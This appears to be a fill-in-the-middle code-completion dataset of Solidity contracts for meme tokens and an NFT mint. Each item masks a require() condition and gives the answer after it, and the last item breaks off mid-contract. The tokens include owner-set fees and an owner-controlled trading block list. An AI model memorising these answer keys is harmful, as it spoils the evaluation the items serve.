//SPDX-License-Identifier: MIT //303030303030303030 //303030303030303030 //303030303030303030 //SAITAMA3.0 Twitter Twitter.com/saitamanew20 //SAITAMA3.0 Telegram https://t.me/saitamanew20 //303030303030303030 //303030303030303030 //303030303030303030 pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { } modifier onlyOwner() { } function owner() public view returns (address) { } function transferOwnership(address payable newOwner) external onlyOwner { } function renounceOwnership() external onlyOwner { } event OwnershipTransferred(address _owner); } contract SAITAMA is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals); string private constant _name = "SAITAMA3.0"; string private constant _symbol = "SAITAMA 3.0"; uint8 private antiSnipeTax1 = 20; //sniper tax for first block uint8 private antiSnipeTax2 = 30; //sniper tax for second block uint8 private antiSnipeBlocks1 = 1; uint8 private antiSnipeBlocks2 = 1; uint256 private _antiMevBlock = 2; uint8 private _initialBuyTaxRate = 0; // starting buy tax (which ultimately goes to zero) uint8 private _initialSellTaxRate = 20; // starting sell tax (which ultimatley goes to zero) uint8 private _finalBuyTaxRate = 0; uint8 private _finalSellTaxRate = 0; uint256 private txCount; uint256 _reduceTaxAt = 100; //after 100 transactions, tax will be set to zero uint16 private _taxSharesMarketing = 70; uint16 private _taxSharesDevelopment = 30; uint16 private _taxSharesLP = 0; uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesLP; address payable private _walletMarketing = payable(0x34ea8C37225BA17eB80510581A275BCFA0dc4f4C); address payable private _walletDevelopment = payable(0xC4B72ffb8F877E93BfBdb8EB51536394F4c3F0ae); uint256 private _launchBlock; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 10 / 100000; uint256 private _taxSwapMax = _totalSupply * 888 / 100000; uint256 private _swapLimit = _taxSwapMin * 59 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private _lpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { } receive() external payable {} function totalSupply() external pure override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external pure override returns (string memory) { } function name() external pure override returns (string memory) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function _approveRouter(uint256 _tokenAmount) internal { } function addLiquidity() external payable onlyOwner lockTaxSwap { } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { } function _openTrading() internal { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { } function _checkTradingOpen(address sender) private view returns (bool){ } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { } function exemptFromFees(address wallet) external view returns (bool) { } function exemptFromLimits(address wallet) external view returns (bool) { } function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner { } function buyFee() external view returns(uint8) { } function sellFee() external view returns(uint8) { } function feeSplit() external view returns (uint16 marketing, uint16 development, uint16 LP ) { } function setFees(uint8 buy, uint8 sell) external onlyOwner { require(<FILL_ME>) _initialBuyTaxRate = buy; _initialSellTaxRate = sell; } function setReduceFeeAtTx(uint256 newTxCount) external { } function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner { } function marketingWallet() external view returns (address) { } function developmentWallet() external view returns (address) { } function updateWallets(address marketing, address development, address LPtokens) external onlyOwner { } function maxWallet() external view returns (uint256) { } function maxTransaction() external view returns (uint256) { } function swapAtMin() external view returns (uint256) { } function swapAtMax() external view returns (uint256) { } function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner { } function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { } function _swapTaxAndLiquify() private lockTaxSwap { } function _swapTaxTokensForEth(uint256 tokenAmount) private { } function _distributeTaxEth(uint256 amount) private { } function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap { } }
buy+sell<=80,"Roundtrip too high"
483,297
buy+sell<=80
"cannot mint"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /** * @author Brewlabs * This contract has been developed by brewlabs.info */ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ERC721, ERC721Enumerable, IERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; import {DefaultOperatorFilterer} from "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract SpriteOnsenNft is Ownable, ERC721Enumerable, ReentrancyGuard, DefaultOperatorFilterer { using SafeERC20 for IERC20; using Strings for uint256; uint256 private constant MAX_SUPPLY = 5000; bool public mintAllowed = false; string private _tokenBaseURI = ""; uint256 public oneTimeMintLimit = 10; address public feeWallet; IERC20 public feeToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 public mintPrice = 1000 * 10 ** 6; uint256 public materialSaleTime = 1685620800; IERC20[] public materialTokens; uint256[] public materialPrices; event MintEnabled(); event MoveToNextPhase(uint256 phase); event Mint(address indexed user, uint256 tokenId); event BaseURIUpdated(string uri); event SetMintPrice(uint256 price); event SetFeeToken(address token); event SetOneTimeMintLimit(uint256 limit); event SetFeeWallet(address wallet); event SetMaterialSaleTime(uint256 timestamp); event SetMaterialToken(uint256 index, address indexed token, uint256 price); event RemoveMaterialToken(address indexed token); event AdminTokenRecovered(address tokenRecovered, uint256 amount); modifier onlyMintable() { require(<FILL_ME>) _; } constructor() ERC721("Sprite Onsen Pass", "SOP") { } function setApprovalForAll(address operator, bool approved) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function mint(uint256 _numToMint) external onlyMintable nonReentrant { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function materialTokenCount() external view returns (uint256) { } function enableMint() external onlyOwner { } function setMintPrice(uint256 _price) external onlyOwner { } function setFeeToken(address _token) external onlyOwner { } function setMaterialSaleTime(uint256 _timestamp) external onlyOwner { } function addMaterialTokens(IERC20[] memory _tokens, uint256[] memory _prices) external onlyOwner { } function setMaterialToken(uint256 _index, IERC20 _token, uint256 _price) external onlyOwner { } function removeMaterialToken(uint256 _index) external onlyOwner { } function setOneTimeMintLimit(uint256 _limit) external onlyOwner { } function setAdminWallet(address _wallet) external onlyOwner { } function rescueTokens(address _token, uint256 _amount) external onlyOwner { } function setTokenBaseUri(string memory _uri) external onlyOwner { } function _tokenExists(IERC20 _token, uint256 _index) internal view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function _base64(bytes memory data) internal pure returns (string memory) { } receive() external payable {} }
mintAllowed&&totalSupply()<MAX_SUPPLY,"cannot mint"
483,341
mintAllowed&&totalSupply()<MAX_SUPPLY
"Exceed current phase limit"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /** * @author Brewlabs * This contract has been developed by brewlabs.info */ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ERC721, ERC721Enumerable, IERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; import {DefaultOperatorFilterer} from "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract SpriteOnsenNft is Ownable, ERC721Enumerable, ReentrancyGuard, DefaultOperatorFilterer { using SafeERC20 for IERC20; using Strings for uint256; uint256 private constant MAX_SUPPLY = 5000; bool public mintAllowed = false; string private _tokenBaseURI = ""; uint256 public oneTimeMintLimit = 10; address public feeWallet; IERC20 public feeToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 public mintPrice = 1000 * 10 ** 6; uint256 public materialSaleTime = 1685620800; IERC20[] public materialTokens; uint256[] public materialPrices; event MintEnabled(); event MoveToNextPhase(uint256 phase); event Mint(address indexed user, uint256 tokenId); event BaseURIUpdated(string uri); event SetMintPrice(uint256 price); event SetFeeToken(address token); event SetOneTimeMintLimit(uint256 limit); event SetFeeWallet(address wallet); event SetMaterialSaleTime(uint256 timestamp); event SetMaterialToken(uint256 index, address indexed token, uint256 price); event RemoveMaterialToken(address indexed token); event AdminTokenRecovered(address tokenRecovered, uint256 amount); modifier onlyMintable() { } constructor() ERC721("Sprite Onsen Pass", "SOP") { } function setApprovalForAll(address operator, bool approved) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function mint(uint256 _numToMint) external onlyMintable nonReentrant { require(_numToMint > 0, "invalid amount"); require(_numToMint <= oneTimeMintLimit, "exceed one-time mint limit"); require(<FILL_ME>) uint256 price = mintPrice * _numToMint; feeToken.safeTransferFrom(msg.sender, feeWallet, price); if (block.timestamp >= materialSaleTime) { for (uint256 i = 0; i < materialTokens.length; i++) { uint256 amount = materialPrices[i] * _numToMint; materialTokens[i].safeTransferFrom(msg.sender, feeWallet, amount); } } for (uint256 i = 0; i < _numToMint; i++) { uint256 tokenId = totalSupply() + 1; _safeMint(msg.sender, tokenId); emit Mint(msg.sender, tokenId); } if (totalSupply() == MAX_SUPPLY) mintAllowed = false; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function materialTokenCount() external view returns (uint256) { } function enableMint() external onlyOwner { } function setMintPrice(uint256 _price) external onlyOwner { } function setFeeToken(address _token) external onlyOwner { } function setMaterialSaleTime(uint256 _timestamp) external onlyOwner { } function addMaterialTokens(IERC20[] memory _tokens, uint256[] memory _prices) external onlyOwner { } function setMaterialToken(uint256 _index, IERC20 _token, uint256 _price) external onlyOwner { } function removeMaterialToken(uint256 _index) external onlyOwner { } function setOneTimeMintLimit(uint256 _limit) external onlyOwner { } function setAdminWallet(address _wallet) external onlyOwner { } function rescueTokens(address _token, uint256 _amount) external onlyOwner { } function setTokenBaseUri(string memory _uri) external onlyOwner { } function _tokenExists(IERC20 _token, uint256 _index) internal view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function _base64(bytes memory data) internal pure returns (string memory) { } receive() external payable {} }
(totalSupply()+_numToMint<=200&&block.timestamp<materialSaleTime)||(totalSupply()+_numToMint<=MAX_SUPPLY&&block.timestamp>=materialSaleTime),"Exceed current phase limit"
483,341
(totalSupply()+_numToMint<=200&&block.timestamp<materialSaleTime)||(totalSupply()+_numToMint<=MAX_SUPPLY&&block.timestamp>=materialSaleTime)
"already enabled"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /** * @author Brewlabs * This contract has been developed by brewlabs.info */ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ERC721, ERC721Enumerable, IERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; import {DefaultOperatorFilterer} from "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract SpriteOnsenNft is Ownable, ERC721Enumerable, ReentrancyGuard, DefaultOperatorFilterer { using SafeERC20 for IERC20; using Strings for uint256; uint256 private constant MAX_SUPPLY = 5000; bool public mintAllowed = false; string private _tokenBaseURI = ""; uint256 public oneTimeMintLimit = 10; address public feeWallet; IERC20 public feeToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 public mintPrice = 1000 * 10 ** 6; uint256 public materialSaleTime = 1685620800; IERC20[] public materialTokens; uint256[] public materialPrices; event MintEnabled(); event MoveToNextPhase(uint256 phase); event Mint(address indexed user, uint256 tokenId); event BaseURIUpdated(string uri); event SetMintPrice(uint256 price); event SetFeeToken(address token); event SetOneTimeMintLimit(uint256 limit); event SetFeeWallet(address wallet); event SetMaterialSaleTime(uint256 timestamp); event SetMaterialToken(uint256 index, address indexed token, uint256 price); event RemoveMaterialToken(address indexed token); event AdminTokenRecovered(address tokenRecovered, uint256 amount); modifier onlyMintable() { } constructor() ERC721("Sprite Onsen Pass", "SOP") { } function setApprovalForAll(address operator, bool approved) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function mint(uint256 _numToMint) external onlyMintable nonReentrant { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function materialTokenCount() external view returns (uint256) { } function enableMint() external onlyOwner { require(<FILL_ME>) mintAllowed = true; emit MintEnabled(); } function setMintPrice(uint256 _price) external onlyOwner { } function setFeeToken(address _token) external onlyOwner { } function setMaterialSaleTime(uint256 _timestamp) external onlyOwner { } function addMaterialTokens(IERC20[] memory _tokens, uint256[] memory _prices) external onlyOwner { } function setMaterialToken(uint256 _index, IERC20 _token, uint256 _price) external onlyOwner { } function removeMaterialToken(uint256 _index) external onlyOwner { } function setOneTimeMintLimit(uint256 _limit) external onlyOwner { } function setAdminWallet(address _wallet) external onlyOwner { } function rescueTokens(address _token, uint256 _amount) external onlyOwner { } function setTokenBaseUri(string memory _uri) external onlyOwner { } function _tokenExists(IERC20 _token, uint256 _index) internal view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function _base64(bytes memory data) internal pure returns (string memory) { } receive() external payable {} }
!mintAllowed,"already enabled"
483,341
!mintAllowed
"token already taken"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /** * @author Brewlabs * This contract has been developed by brewlabs.info */ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ERC721, ERC721Enumerable, IERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; import {DefaultOperatorFilterer} from "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract SpriteOnsenNft is Ownable, ERC721Enumerable, ReentrancyGuard, DefaultOperatorFilterer { using SafeERC20 for IERC20; using Strings for uint256; uint256 private constant MAX_SUPPLY = 5000; bool public mintAllowed = false; string private _tokenBaseURI = ""; uint256 public oneTimeMintLimit = 10; address public feeWallet; IERC20 public feeToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 public mintPrice = 1000 * 10 ** 6; uint256 public materialSaleTime = 1685620800; IERC20[] public materialTokens; uint256[] public materialPrices; event MintEnabled(); event MoveToNextPhase(uint256 phase); event Mint(address indexed user, uint256 tokenId); event BaseURIUpdated(string uri); event SetMintPrice(uint256 price); event SetFeeToken(address token); event SetOneTimeMintLimit(uint256 limit); event SetFeeWallet(address wallet); event SetMaterialSaleTime(uint256 timestamp); event SetMaterialToken(uint256 index, address indexed token, uint256 price); event RemoveMaterialToken(address indexed token); event AdminTokenRecovered(address tokenRecovered, uint256 amount); modifier onlyMintable() { } constructor() ERC721("Sprite Onsen Pass", "SOP") { } function setApprovalForAll(address operator, bool approved) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function mint(uint256 _numToMint) external onlyMintable nonReentrant { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function materialTokenCount() external view returns (uint256) { } function enableMint() external onlyOwner { } function setMintPrice(uint256 _price) external onlyOwner { } function setFeeToken(address _token) external onlyOwner { } function setMaterialSaleTime(uint256 _timestamp) external onlyOwner { } function addMaterialTokens(IERC20[] memory _tokens, uint256[] memory _prices) external onlyOwner { require(_tokens.length == _prices.length, "mismatch tokens and prices"); for (uint256 i = 0; i < _tokens.length; i++) { require(<FILL_ME>) materialTokens.push(_tokens[i]); materialPrices.push(_prices[i]); emit SetMaterialToken(materialTokens.length - 1, address(_tokens[i]), _prices[i]); } } function setMaterialToken(uint256 _index, IERC20 _token, uint256 _price) external onlyOwner { } function removeMaterialToken(uint256 _index) external onlyOwner { } function setOneTimeMintLimit(uint256 _limit) external onlyOwner { } function setAdminWallet(address _wallet) external onlyOwner { } function rescueTokens(address _token, uint256 _amount) external onlyOwner { } function setTokenBaseUri(string memory _uri) external onlyOwner { } function _tokenExists(IERC20 _token, uint256 _index) internal view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function _base64(bytes memory data) internal pure returns (string memory) { } receive() external payable {} }
!_tokenExists(_tokens[i],materialTokens.length),"token already taken"
483,341
!_tokenExists(_tokens[i],materialTokens.length)
"token already taken"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /** * @author Brewlabs * This contract has been developed by brewlabs.info */ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ERC721, ERC721Enumerable, IERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; import {DefaultOperatorFilterer} from "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract SpriteOnsenNft is Ownable, ERC721Enumerable, ReentrancyGuard, DefaultOperatorFilterer { using SafeERC20 for IERC20; using Strings for uint256; uint256 private constant MAX_SUPPLY = 5000; bool public mintAllowed = false; string private _tokenBaseURI = ""; uint256 public oneTimeMintLimit = 10; address public feeWallet; IERC20 public feeToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); uint256 public mintPrice = 1000 * 10 ** 6; uint256 public materialSaleTime = 1685620800; IERC20[] public materialTokens; uint256[] public materialPrices; event MintEnabled(); event MoveToNextPhase(uint256 phase); event Mint(address indexed user, uint256 tokenId); event BaseURIUpdated(string uri); event SetMintPrice(uint256 price); event SetFeeToken(address token); event SetOneTimeMintLimit(uint256 limit); event SetFeeWallet(address wallet); event SetMaterialSaleTime(uint256 timestamp); event SetMaterialToken(uint256 index, address indexed token, uint256 price); event RemoveMaterialToken(address indexed token); event AdminTokenRecovered(address tokenRecovered, uint256 amount); modifier onlyMintable() { } constructor() ERC721("Sprite Onsen Pass", "SOP") { } function setApprovalForAll(address operator, bool approved) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override (ERC721, IERC721) onlyAllowedOperator(from) { } function mint(uint256 _numToMint) external onlyMintable nonReentrant { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function materialTokenCount() external view returns (uint256) { } function enableMint() external onlyOwner { } function setMintPrice(uint256 _price) external onlyOwner { } function setFeeToken(address _token) external onlyOwner { } function setMaterialSaleTime(uint256 _timestamp) external onlyOwner { } function addMaterialTokens(IERC20[] memory _tokens, uint256[] memory _prices) external onlyOwner { } function setMaterialToken(uint256 _index, IERC20 _token, uint256 _price) external onlyOwner { require(_index < materialTokens.length, "invalid index"); require(<FILL_ME>) materialTokens[_index] = _token; materialPrices[_index] = _price; emit SetMaterialToken(_index, address(_token), _price); } function removeMaterialToken(uint256 _index) external onlyOwner { } function setOneTimeMintLimit(uint256 _limit) external onlyOwner { } function setAdminWallet(address _wallet) external onlyOwner { } function rescueTokens(address _token, uint256 _amount) external onlyOwner { } function setTokenBaseUri(string memory _uri) external onlyOwner { } function _tokenExists(IERC20 _token, uint256 _index) internal view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function _base64(bytes memory data) internal pure returns (string memory) { } receive() external payable {} }
!_tokenExists(_token,_index),"token already taken"
483,341
!_tokenExists(_token,_index)
"Not antiBoted"
/* 504550452046414345202D2049594B594B https://t.me/PepeFacePortal https://twitter.com/PepeFaceETH https://PepeFace.vip */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.18; interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } mapping (address => bool) internal authorizations; function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } contract PepeFace is Ownable, ERC20 { using SafeMath for uint256; address WETH; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Pepe Face"; string constant _symbol = unicode"₍° ̮ °₎"; uint8 constant _decimals = 9; uint256 _totalSupply = 1 * 10**15 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(1).div(100); uint256 public _maxWalletToken = _totalSupply.mul(1).div(100); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeexempt; mapping (address => bool) isTxLimitexempt; uint256 private liquidityFee = 1; uint256 private marketingFee = 3; uint256 private devFee = 0; uint256 private utilityFee = 1; uint256 private burnFee = 0; uint256 public totalFee = utilityFee + marketingFee + liquidityFee + devFee + burnFee; uint256 private feeDenominator = 100; uint256 sellpercent = 100; uint256 buypercent = 100; uint256 transferpercent = 100; address private autoLiquidityReceiver; address private marketingFeeReceiver; address private devFeeReceiver; address private utilityFeeReceiver; address private burnFeeReceiver; uint256 targetLiquidity = 35; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; InterfaceLP private pairContract; address public pair; bool public TradingOpen = false; bool public antiBotMode = false; mapping (address => bool) public isantiBoted; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 30 / 1000; bool inSwap; modifier swapping() { } constructor () { } receive() external payable { } function totalSupply() external view override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external pure override returns (string memory) { } function name() external pure override returns (string memory) { } function getOwner() external view override returns (address) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function approveMax(address spender) external returns (bool) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function setMaxWallet(uint256 maxWallPercent) external onlyOwner { } function setMaxTX(uint256 maxTXPercent) external onlyOwner { } function nolimits () external onlyOwner { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(TradingOpen,"Trading not open yet"); if(antiBotMode){ require(<FILL_ME>) } } if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && recipient != marketingFeeReceiver && !isTxLimitexempt[recipient]){ uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} // Checks max transaction limit checkTxLimit(sender, amount); if(shouldSwapBack()){ swapBack(); } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeexempt[sender] || isFeeexempt[recipient]) ? amount : takeFee(sender, amount, recipient); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { } function checkTxLimit(address sender, uint256 amount) internal view { } function shouldTakeFee(address sender) internal view returns (bool) { } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { } function shouldSwapBack() internal view returns (bool) { } function removeStuckETH(uint256 amountPercentage) external { } function swapback() external onlyOwner { } function manualSend() external { } function clearERCToken(address tokenAddress, uint256 tokens) public returns (bool) { } function setTaxAllocation(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner { } function setMode(bool _status) public onlyOwner { } function addToMode(address[] calldata addresses, bool status) public onlyOwner { } function enableTrading() public onlyOwner { } function lower() public onlyOwner { } function swapBack() internal swapping { } function setInternalAddress(address holder, bool exempt) external onlyOwner { } function updateTaxBreakdown(uint256 _liquidityFee, uint256 _utilityFee, uint256 _marketingFee, uint256 _devFee, uint256 _burnFee, uint256 _feeDenominator) external onlyOwner { } function updateTaxWallets(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver, address _burnFeeReceiver, address _utilityFeeReceiver) external onlyOwner { } function setNumTokensToSell(bool _enabled, uint256 